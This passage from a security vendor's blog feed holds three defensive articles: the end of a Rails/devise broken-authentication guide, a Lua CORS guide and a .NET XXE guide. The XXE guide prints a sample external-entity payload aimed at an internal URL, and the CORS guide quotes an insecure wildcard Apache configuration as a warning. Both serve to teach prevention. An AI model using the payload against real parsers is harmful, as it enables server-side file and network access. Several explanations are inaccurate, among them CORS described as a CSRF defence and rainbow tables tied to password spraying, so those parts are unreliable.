authentication&lt;/u&gt;&lt;/a&gt; recommendations, this session ID is equivalent to your original login credentials. So, if a bad actor were to gain access to this session ID, they can effectively impersonate you and bypass all security mechanisms.&lt;/p&gt;&lt;p&gt;This security breach is known as session hijacking and has devastating consequences for the victim.&lt;/p&gt;&lt;h2&gt;Examples of Broken Authentication&lt;/h2&gt;&lt;p&gt;Now that we understand how broken authentication happens on our system, let&amp;#39;s explore some examples of attacks that target specific vulnerabilities.&lt;/p&gt;&lt;h3&gt;Password Spraying&lt;/h3&gt;&lt;p&gt;The password spraying attack exploits systems that allow simple and weak passwords, such as &amp;quot;12345&amp;quot; or &amp;quot;password,&amp;quot; by its users.&lt;/p&gt;&lt;p&gt;Attackers can use rainbow tables or dictionaries to try as many known passwords on user accounts to fish for weak credentials and gain access to the system.&lt;/p&gt;&lt;h3&gt;Credential Stuffing&lt;/h3&gt;&lt;p&gt;Credential stuffing refers to the use of credentials obtained from other breaches to gain access to our platforms.&lt;/p&gt;&lt;p&gt;This attack works on the assumption that a significant number of users reuse credentials between platforms due to convenience and friction.&lt;/p&gt;&lt;h3&gt;Session Hijacking&lt;/h3&gt;&lt;p&gt;As explained above, session hijacking happens when a bad actor takes over a user&amp;#39;s session. This can be as simple as a user forgetting to log off from his computer before leaving and someone else taking his place.&lt;/p&gt;&lt;p&gt;Additionally, suppose the same ID is issued independently of authentication status. In that case, it could potentially open the door to an attack called session fixation, where an unauthorized session uses the session ID.&lt;/p&gt;&lt;h3&gt;Session ID URL&lt;/h3&gt;&lt;p&gt;Attackers can use unsecured WiFi access points, man in the middle attacks, or simple eavesdropping at the address bar to get the user session ID if it&amp;#39;s in plain sight.&lt;/p&gt;&lt;h2&gt;Mitigating Broken Authentication Vulnerabilities&lt;/h2&gt;&lt;p&gt;The best way to address the vulnerabilities and mitigate the risks of breaches is by following the best practices from the OWASP.&lt;/p&gt;&lt;p&gt;Luckily for you, if you use robust and battle-tested gems like&lt;a href=&quot;https://github.com/heartcombo/devise&quot;&gt; &lt;u&gt;devise&lt;/u&gt;&lt;/a&gt;, you can easily protect your platform from these vulnerabilities.&lt;/p&gt;&lt;p&gt;To install devise, all you have to do is add the &lt;b&gt;gem&lt;/b&gt; on your Gemfile.&lt;/p&gt;&lt;p&gt;&lt;code&gt;gem &amp;#39;devise&amp;#39;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Once you&amp;#39;ve done this, you need to run the &lt;b&gt;bundle install&lt;/b&gt; command to install the gem dependency in your project.&lt;/p&gt;&lt;p&gt;&lt;code&gt;bundle install&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Next, run the following command to generate the default resources the gem needs on your project.&lt;/p&gt;&lt;p&gt;&lt;code&gt;$ rails generate devise:install&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now, add the following configuration in your &lt;b&gt;config&lt;/b&gt; file to set up the emailing settings for user authentication and confirmation.&lt;/p&gt;&lt;p&gt;&lt;code&gt;config.action_mailer.default_url_options = { host: &amp;#39;localhost&amp;#39;, port: 3000 }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;After doing this, run the following command to generate or update the models representing the users in your project. In this case, you can replace &lt;b&gt;MODEL&lt;/b&gt; for whatever model name you&amp;#39;re using for your users.&lt;/p&gt;&lt;p&gt;&lt;code&gt;$ rails generate devise MODEL&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Finally, run the &lt;b&gt;migration&lt;/b&gt; command to update the database to reflect the revised model structure.&lt;/p&gt;&lt;p&gt;&lt;code&gt;rails db:migrate&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;All you need to do now is add the following line on the controllers you want to enforce authentication on, and that&amp;#39;s pretty much it.&lt;/p&gt;&lt;p&gt;&lt;code&gt;before_action :authenticate_user!&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;There are a few more steps that you might need to follow to have your application locked and loaded with devise. Please visit the devise official GitHub page&lt;a href=&quot;https://github.com/heartcombo/devise&quot;&gt; &lt;u&gt;here&lt;/u&gt;&lt;/a&gt; for more information.&lt;/p&gt;&lt;p&gt;Now, let&amp;#39;s see how we can implement the mitigation strategies in our project.&lt;/p&gt;&lt;h3&gt;Secure Password Storage&lt;/h3&gt;&lt;p&gt;Best practices tell us to make sure that all passwords are not only encrypted but also hashed and salted. This policy safeguards the users&amp;#39; credentials in case of a breach by preventing or at least slowing down any attempts to access breached databases.&lt;/p&gt;&lt;p&gt;If you&amp;#39;re using devise, you have encryption and salting active by default.&lt;/p&gt;&lt;p&gt;You can configure the encryption key by modifying the &lt;b&gt;config.pepper&lt;/b&gt; value on the&lt;a href=&quot;https://gist.github.com/chillicoder/1040987#file-devise_initializer-rb&quot;&gt; &lt;u&gt;devise_initializer.rb&lt;/u&gt;&lt;/a&gt; file.&lt;/p&gt;&lt;h3&gt;Don&amp;#39;t Allow Weak Passwords&lt;/h3&gt;&lt;p&gt;A secure application must require its users to fulfill specific requirements when creating passwords.&lt;/p&gt;&lt;p&gt;Some of the most common requirements are&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;requiring passwords to be of a particular length, and&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;requiring special characters as well as numbers.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;These requirements must be first enforced and validated by policies created on the client side by JavaScript. However, you also have the option of validating the values provided on the server side with devise.&lt;/p&gt;&lt;p&gt;You can configure the password length on the&lt;a href=&quot;https://gist.github.com/chillicoder/1040987#file-devise_initializer-rb&quot;&gt; &lt;u&gt;devise_initializer.rb&lt;/u&gt;&lt;/a&gt; file with the &lt;b&gt;config.password_length&lt;/b&gt; setting.&lt;/p&gt;&lt;p&gt;Additionally, to validate the password complexity, you can use the following method on your user model:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Keep in mind that some of these specifications are more competent than others in terms of protecting the user, but they might also cause the opposite effect when users might not want to comply with them.&lt;/p&gt;&lt;h3&gt;Add a Strict Credential Recovery Process&lt;/h3&gt;&lt;p&gt;The credential recovery process should require several validation checks that make it complicated and expensive for attackers to abuse it.&lt;/p&gt;&lt;p&gt;To achieve this in devise, you can make use of the following configuration settings in the&lt;a href=&quot;https://gist.github.com/chillicoder/1040987#file-devise_initializer-rb&quot;&gt; &lt;u&gt;devise_initializer.rb&lt;/u&gt;&lt;/a&gt; file:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;config.unlock_strategy&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;config.lock_strategy&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;config.unlock_keys&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;config.maximum_attempts&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;config.reset_password_within&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Implement Breached Password Protection&lt;/h3&gt;&lt;p&gt;Implementing a breached password protection mechanism allows your system to lock the accounts of users whose passwords have been identified as compromised. This way, you ensure that users have a window to prevent breaches if bad actors steal their credentials.&lt;/p&gt;&lt;p&gt;To provide this security feature, we recommend&lt;a href=&quot;https://github.com/philnash/pwned&quot;&gt; &lt;u&gt;Pwned&lt;/u&gt;&lt;/a&gt;, which provides an updated repository of breached passwords to cross-validate in real time.&lt;/p&gt;&lt;h3&gt;Regulate Session Length&lt;/h3&gt;&lt;p&gt;Web applications must end a user session after a certain period of inactivity has passed. To regulate the length of the session on your application, just modify the &lt;b&gt;config.timeout_in&lt;/b&gt; setting in the&lt;a href=&quot;https://gist.github.com/chillicoder/1040987#file-devise_initializer-rb&quot;&gt; &lt;u&gt;devise_initializer.rb&lt;/u&gt;&lt;/a&gt; file.&lt;/p&gt;&lt;h3&gt;Improve Session Management&lt;/h3&gt;&lt;p&gt;It&amp;#39;s imperative that our platform provides individual session IDs after every successful authentication attempt. In addition, our system must invalidate old session IDs to prevent hijacking as soon as a session ends.&lt;/p&gt;&lt;p&gt;Luckily, devise already takes care of this for us.&lt;/p&gt;&lt;h3&gt;Disregard the Use of Session ID URL&lt;/h3&gt;&lt;p&gt;Not much of an explainer is needed here. Web URLs must be secured with SSL and not include the session ID.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;That concludes our concise exploration of the subject of broken authentication and its complexities. But, keep in mind that it&amp;#39;s by no means extensive or complete.&lt;/p&gt;&lt;p&gt;In this article, we took the time to lay out the subject of broken authentication and briefly examined many of the most common and insidious vulnerabilities on the web. Additionally, we provided some approachable and straightforward strategies to mitigate these vulnerabilities.&lt;/p&gt;&lt;p&gt;However, it&amp;#39;s our job to enforce robust and extensive security measures to secure our users&amp;#39; data and our clients&amp;#39; assets.&lt;/p&gt;&lt;p&gt;That&amp;#39;s why we recommend you consider using our dynamic application security testing at StackHawk.&lt;/p&gt;&lt;p&gt;DAST runs security tests against a running application in real time, finding vulnerabilities your team introduced as well as exploitable open-source vulnerabilities like broken authentication. You can find more about it&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt; &lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Lua CORS Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/lua-cors-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Cross-site request forgery (&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt;&lt;u&gt;CSRF&lt;/u&gt;&lt;/a&gt;) is a serious web attack that every developer needs to reckon with. Hackers have used it against web applications to steal valuable user information. Damaging attacks have been found on major sites like &lt;a href=&quot;https://people.eecs.berkeley.edu/~daw/teaching/cs261-f11/reading/csrf.pdf&quot;&gt;&lt;u&gt;ING Direct&lt;/u&gt;&lt;/a&gt;, &lt;a href=&quot;https://appsecnotes.blogspot.com/2009/01/netflix-csrf-revisited.html&quot;&gt;&lt;u&gt;Netflix&lt;/u&gt;&lt;/a&gt;, and &lt;a href=&quot;https://people.eecs.berkeley.edu/~daw/teaching/cs261-f11/reading/csrf.pdf&quot;&gt;&lt;u&gt;YouTube&lt;/u&gt;&lt;/a&gt;. The best defense is limiting&lt;a href=&quot;https://en.wikipedia.org/wiki/Same-origin_policy&quot;&gt;&lt;u&gt; web apps to a single domain&lt;/u&gt;&lt;/a&gt;, but that&amp;#39;s not always wise or possible. You need a way to make cross-domain requests safe. That&amp;#39;s where cross-origin resource sharing (&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;&lt;u&gt;CORS&lt;/u&gt;&lt;/a&gt;) comes in. It&amp;#39;s a tool that allows applications to use multiple web and API servers. &lt;/p&gt;&lt;p&gt;Lua is a popular scripting language with many uses, including web applications. So, it&amp;#39;s susceptible to CSRF attacks, too. You need to set up Lua CORS? &lt;/p&gt;&lt;p&gt;This post will look at what CORS is, the problems it avoids, and how to implement CORS with a Lua application. &lt;/p&gt;&lt;h2&gt;CORS in a Nutshell&lt;/h2&gt;&lt;p&gt;Before diving into Lua CORS, let&amp;#39;s briefly look at what CORS is. &lt;/p&gt;&lt;p&gt;Cross-origin resource sharing is a security mechanism that defines what an app can request based on its origin—the domain the browser loaded them from. All modern web browsers implement it by default, protecting users from &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt;&lt;u&gt;CSRF&lt;/u&gt;&lt;/a&gt; and similar attacks. Therefore, if you want your application to access more than one domain, you need CORs. The good news is most web infrastructure will handle it for you. &lt;/p&gt;&lt;h3&gt;CORS Errors in Action&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Cross-origin_resource_sharing&quot;&gt;&lt;u&gt;CORS&lt;/u&gt;&lt;/a&gt; uses HTTP headers to determine who can interact with your specific destinations. &amp;quot;Out of the box,&amp;quot; CORS blocks all requests from a different origin. Imagine a web application with HTML served from a web server at &lt;u&gt;https://example.com:443.&lt;/u&gt; In addition, it uses an API server at &lt;u&gt;https://example.com:8083&lt;/u&gt;. This is common when an app shares an API between web, desktop, and mobile versions. Without any additional configuration, CORS would block the calls to the API server. So, the web application would fail. &lt;/p&gt;&lt;p&gt;If you opened the browser&amp;#39;s web console, you would see an error like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Access to XMLHttpRequest at &amp;#39;https://example.com:8083&amp;#39; from origin &amp;#39;https://example.com&amp;#39; has been blocked by CORS policy&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;What happened here? The application made both requests to a server at &lt;b&gt;example.com.&lt;/b&gt; Why did the browser deny the second one? &lt;/p&gt;&lt;p&gt;CORS defines an origin with three distinct parts: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Protocol - in this case both were HTTPS&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Domain - both were example.com&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Port - one was 443 and the other was 8083&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;According to CORS rules, different ports mean different origins. So, it blocked the request. With no overriding CORS policy in place, modern web browsers default to the &lt;a href=&quot;https://en.wikipedia.org/wiki/Same-origin_policy&quot;&gt;&lt;u&gt;same-origin policy&lt;/u&gt;&lt;/a&gt;; code can only request resources from the origin the browser retrieved it from. &lt;/p&gt;&lt;p&gt;How do you get an application like this to work with CORS?&lt;/p&gt;&lt;h3&gt;When CORS Works&lt;/h3&gt;&lt;p&gt;Now that we understand what happens without CORS let&amp;#39;s talk about what happens when a CORS-enabled browser allows an application to make a cross-origin request. What does the upstream application need to do to make it happen? &lt;/p&gt;&lt;p&gt;As soon as a script makes a request to a different origin, the CORS workflow kicks in. The browser initiates the process with a &amp;quot;preflight&amp;quot; request to the first origin. The request uses the HTTP OPTIONS method and contains details about the request. &lt;/p&gt;&lt;p&gt;The server validates the request and responds with the set of acceptable requests. This response details what is allowed. It contains information about the permitted: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Origins the script can make a request from.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Request methods the script can use with the origins.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Custom headers the script can send to the origins.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Authentication information the script can send to the origins.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Read our detailed CORS guide if you want to learn more about the details behind CORS, including how not to set it up and what a typical attack looks like. &lt;/p&gt;&lt;h2&gt;Lua CORS&lt;/h2&gt;&lt;p&gt;Lua is a popular scripting language with bindings and implementations for &lt;a href=&quot;http://lua-users.org/wiki/LibrariesAndBindings&quot;&gt;&lt;u&gt;countless different environments&lt;/u&gt;&lt;/a&gt;. There are a few situations where you need to keep CORS in mind when using it. &lt;/p&gt;&lt;p&gt;When you look at the risks a CSRF attack presents and the power of a language like LUA, which has access to nearly all the C runtime libraries, you might want to code your own CORS library. &lt;/p&gt;&lt;p&gt;Don&amp;#39;t. &lt;/p&gt;&lt;p&gt;CORS is part of the HTTP protocol, and you don&amp;#39;t want to mix its implementation with your application code. You also don&amp;#39;t want to reinvent the wheel, especially when there&amp;#39;s already a tried-and-tested wheel available for you to use. &lt;/p&gt;&lt;h3&gt;OpenResty&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://openresty.org/en/&quot;&gt;&lt;u&gt;OpenResty&lt;/u&gt;&lt;/a&gt; is an application server based on &lt;a href=&quot;https://www.nginx.com&quot;&gt;&lt;u&gt;Nginx&lt;/u&gt;&lt;/a&gt; and Lua. It combines the Nginx core with a custom-built just-in-time (Jit) compiler for Lua. So, it&amp;#39;s a platform for running extensions inside Nginx, taking advantage of its event model. Since Lua can call C extensions directly, you can use OpenResty to run nearly anything. You can also develop web apps with &lt;a href=&quot;https://leafo.net/lapis/#lang=lua&quot;&gt;&lt;u&gt;Lapis&lt;/u&gt;&lt;/a&gt;, a web framework that runs inside OpenResty. &lt;/p&gt;&lt;p&gt;If you think an application that can do nearly anything sounds like an application that needs extraordinary security protections, you&amp;#39;re on the right track. It&amp;#39;s almost inevitable that application servers will be subject to CSRF attacks, so you need to protect yourself from them. &lt;/p&gt;&lt;p&gt;The OpenResty project has a CORS library called &lt;u&gt;lua-resty-cors&lt;/u&gt; that integrates into the platform and adds configuration options for permitted origins, methods, headers, and other critical CORS settings. It&amp;#39;s a backport of a &lt;a href=&quot;https://github.com/openresty/lua-nginx-module#installation&quot;&gt;&lt;u&gt;similar filter&lt;/u&gt;&lt;/a&gt; for Nginx. &lt;/p&gt;&lt;p&gt;If you read a few forum posts and other messages online, you&amp;#39;ll see advice telling you to set your permitted domains or origins to &lt;b&gt;* &lt;/b&gt;so your application will work. Do not do this. If this were to work, it would open your application to attack. Chances are, it won&amp;#39;t work anyway. &lt;/p&gt;&lt;p&gt;If the &lt;b&gt;example.com &lt;/b&gt;application were running on OpenResty, we&amp;#39;d configure the platform like this.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This configuration allows code to make requests from any host in the example.com domain, including api.example.com. It explicitly permits the GET, PUT, POST, and DELETE verbs but does not allow scripts to send credentials to cross-origin destinations. &lt;/p&gt;&lt;h3&gt;Nginx&lt;/h3&gt;&lt;p&gt;If you&amp;#39;re only looking to run a few simple scripts or write your own web code, Nginx&amp;#39;s &lt;a href=&quot;https://github.com/openresty/lua-nginx-module#readme&quot;&gt;&lt;u&gt;lua-nginx-module&lt;/u&gt;&lt;/a&gt; makes it possible to run Lua scripts in response to events. &lt;/p&gt;&lt;p&gt;Nginx has the ngx_http_cors_filter above, which will implement CORS messaging for you. Its configuration is the same as the OpenResty fork above. There are detailed configuration instructions &lt;a href=&quot;https://github.com/openresty/lua-nginx-module#installation&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;, including an example of how &lt;b&gt;not&lt;/b&gt; to configure it at the top. &lt;/p&gt;&lt;h3&gt;Apache&lt;/h3&gt;&lt;p&gt;Apache&amp;#39;s &lt;a href=&quot;https://httpd.apache.org/docs/trunk/mod/mod_lua.html&quot;&gt;&lt;u&gt;mod_lua&lt;/u&gt;&lt;/a&gt; is an analog to Nginx&amp;#39;s Lua plugin. You use it to write Lua scripts that will run inside the server. &lt;/p&gt;&lt;p&gt;Here again, you&amp;#39;ll want to configure the webserver for CORS and let it implement the HTTP messaging to you. &lt;/p&gt;&lt;p&gt;If you do a quick search for &amp;quot;apache cors,&amp;quot; you&amp;#39;ll come across recommendations like this.&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;Directory /var/www/html&amp;gt;
     Order Allow,Deny
     Allow from all
     AllowOverride all
     Header set Access-Control-Allow-Origin &amp;quot;*&amp;quot;
&amp;lt;/Directory&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This is terrible advice. Line #5 opens a wide security hole in the server, so wide that some browsers may even ignore and reject cross-origin requests. &lt;/p&gt;&lt;p&gt;Instead of opening your server to any request, use a regular expression: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;Directory /var/www/html&amp;gt;
     Order Allow,Deny
     Allow from all
     AllowOverride all
     SetEnvIf Origin &amp;quot;^http(s)?://(.+\.)?example\.com$&amp;quot; AccessControlAllowOrigin=$0
     Header set Access-Control-Allow-Origin %{AccessControlAllowOrigin}e env=AccessControlAllowOrigin
&amp;lt;/Directory&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This is a safer design and emulates the Nginx configuration above. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Wrapping It Up&lt;/h2&gt;&lt;p&gt;We&amp;#39;ve covered what CORS is and how to use it with Lua web applications. Your best bet is to put your code behind Nginx or Apache and let them handle CORS for you. Both web servers have robust CORS support and give you the control you need to serve up powerful applications that are safe and secure. &lt;/p&gt;&lt;p&gt;Now that you know who to safely set up Lua apps, get to work! &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Eric Goebelbecker. &lt;/i&gt;&lt;a href=&quot;http://ericgoebelbecker.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Eric&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; has worked in the financial markets in New York City for 25 years, developing infrastructure for market data and financial information exchange (FIX) protocol networks. He loves to talk about what makes teams effective (or not so effective!).&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[.NET XML External Entities Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/net-xml-external-entities-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In this article, I will address XML External Entities vulnerabilities in .NET and the potential impact that it can have on your platform. By the end, you can expect to have a basic understanding of XML External Entities, how to find them, and what mitigation strategies are at your disposal to deal with this vulnerability. &lt;/p&gt;&lt;p&gt;We will explore how to implement solutions to XML External Entities attacks on the ASP.NET Core development stack. This means that to get the most out of this article, you need some experience working with C# and ASP.NET. If you are only interested in XML External Entities, we&amp;#39;ve written a number of articles focused on a variety of technology stacks. &lt;/p&gt;&lt;p&gt;With that out of the way, let&amp;#39;s dive in.&lt;/p&gt;&lt;h2&gt;XML External Entities&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s start by explaining what XML External Entities are.&lt;/p&gt;&lt;p&gt;XML, or Extensible Markup Language, is a markup language and file format for storing, transmitting, and reconstructing arbitrary data. In addition, this language is used in the programming world to define rules for encoding documents in a format that is both human-readable and machine-readable. &lt;/p&gt;&lt;p&gt;Alright then, but how can a file structure become a threat to your application? &lt;/p&gt;&lt;p&gt;By default, XML processing tools allow the specification of an external entity, a URI, retrieved and processed during the XML file parsing. This parser can then request and embed the content on the specified URI inside the XML document. And that represents an open door for attacks since an attacker could leverage this property as an avenue to retrieve any resource. &lt;/p&gt;&lt;p&gt;In a nutshell, an XML External Entities attack, or XXE injection, is an attack that takes advantage of XML parsing vulnerabilities. It targets systems that use XML parsing functionalities that face the user and allow an attacker to access files and resources on the server. XXE injection attacks can include disclosing local files containing sensitive data, such as passwords or private user data using file: schemes or relative paths in the system identifier. &lt;/p&gt;&lt;p&gt;Given all this, it should be pretty apparent that any tenacious bad actor could potentially take over your server. &lt;/p&gt;&lt;h2&gt;How to Spot XML External Entities&lt;/h2&gt;&lt;p&gt;All that sounds pretty concerning. But what does it actually look like? &lt;/p&gt;&lt;p&gt;Let&amp;#39;s look at a simple example in action. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s a sample XML document containing an item XML element.&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;item id=&amp;quot;1&amp;quot;&amp;gt;
&amp;lt;title&amp;gt;Toilet Paper&amp;lt;/title&amp;gt;
&amp;lt;/item&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Alright, but where&amp;#39;s the external entity? &lt;/p&gt;&lt;p&gt;We add external XML entities by using a system identifier within a DOCTYPE header. The purpose of this header is to add a few more properties to the XML file structure. &lt;/p&gt;&lt;p&gt;For example, the code below contains an external XML entity that would try to connect to an internal website. This is not ordinarily accessible for users. &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;!DOCTYPE foo [ &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://myinternalwebsite&amp;quot;&amp;gt; ]&amp;gt;
&amp;lt;item id=&amp;quot;1&amp;quot;&amp;gt;
&amp;lt;title&amp;gt;&amp;amp;xxe;&amp;lt;/title&amp;gt;
&amp;lt;/item&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;That is terrible news. &lt;/p&gt;&lt;p&gt;As mentioned before, these entities can access local or remote content on your server. And if you keep sensitive files on the server, those sensitive files will be vulnerable. You could be providing a path that an attacker can use to gain control of your website.&lt;/p&gt;&lt;p&gt;Likewise, other XML External Entities attacks can access local resources that may do even more than return data. This is a common avenue for denial of service attacks. &lt;/p&gt;&lt;h2&gt;How to Mitigate XML External Entities Vulnerabilities&lt;/h2&gt;&lt;p&gt;With all the definitions out of the way, what can you do to fix this issue on your platform? &lt;/p&gt;&lt;p&gt;I have good news for you. Mitigating XXE injection vulnerabilities is very simple. &lt;/p&gt;&lt;p&gt;Allow me to briefly refer to a previous article on the general approach as a quick refresher.&lt;/p&gt;&lt;p&gt;&lt;i&gt;&amp;quot;Generally, as long as you are not intentionally trying to open a window for the vulnerability and consider that you need the functionality of loading user-provided XML files, you don&amp;#39;t have to worry much about this issue.&amp;quot;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&amp;quot;Let&amp;#39;s illustrate.&amp;quot; &lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&amp;quot;As we have mentioned, if an application has an endpoint that parses XML files, an attacker could send a specially crafted payload to the server and obtain sensitive files. The files the attacker can get depend heavily on how you set up your system and how you implement user permissions.&amp;quot; &lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&amp;quot;So, to prevent this situation from playing out, first, don&amp;#39;t use libraries that support entity replacement.&amp;quot;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Thankfully, there&amp;#39;s no popular library in .NET with such an issue. &lt;/p&gt;&lt;p&gt;Odds are that you are using something like XmlDocument or XmlReader, which both come with protections against such vulnerabilities baked in and the feature of external entities disabled by default. &lt;/p&gt;&lt;p&gt;Below is an example of a default, protected implementation: &lt;/p&gt;&lt;p&gt;&lt;code&gt;public string xml_to_text(xml) {
  var xml_doc = new XmlDocument();
  xml_doc.LoadXml(xml);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  return xml_doc.InnerText;
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now, suppose your application actually requires using external entities for some necessary features. In that case, one approach you can take to minimize the potential for exploits is to safelist known external entities. &lt;/p&gt;&lt;h3&gt;Other Strategies&lt;/h3&gt;&lt;p&gt;Some other strategies to mitigate XXE Injection attacks include the following: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Use fewer complex data formats like JSON and avoid serialization of sensitive data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Patch or upgrade all XML processing code and libraries in your application.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Verify that XML file upload validates incoming XML using XSD validation.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Update SOAP to SOAP 1.2 or higher.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use SAST tools to help detect XXE in source code.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Lastly—and I really want to emphasize this—do not parse XML unless it&amp;#39;s an application requirement. There are many ways to offer these functionalities without using these libraries. &lt;/p&gt;&lt;p&gt;And as we have said before, in the end, the best mitigation strategy is to not be open to vulnerabilities in any way. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Moving on&lt;/h2&gt;&lt;p&gt;Providing robust and secure services is becoming more and more complicated. Projects of that caliber now require a significant investment of time and extensive expertise. And your organization might not be able to afford that cost. &lt;/p&gt;&lt;p&gt;Now, if you are responsible for a team of competent and productive members focused on delivering speedy and innovative solutions, we recommend our Dynamic Application Security Testing (DAST) suite. Our DAST tool tests a running version of your application to identify potential security vulnerabilities. This will allow you to have real-time, reliable, and detailed reports about the security status of your platform. Our product ensures that you get the best insight and tools to provide reliable decision-making information so that you can go back to focusing on your work. &lt;/p&gt;&lt;p&gt;You can check it out &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for 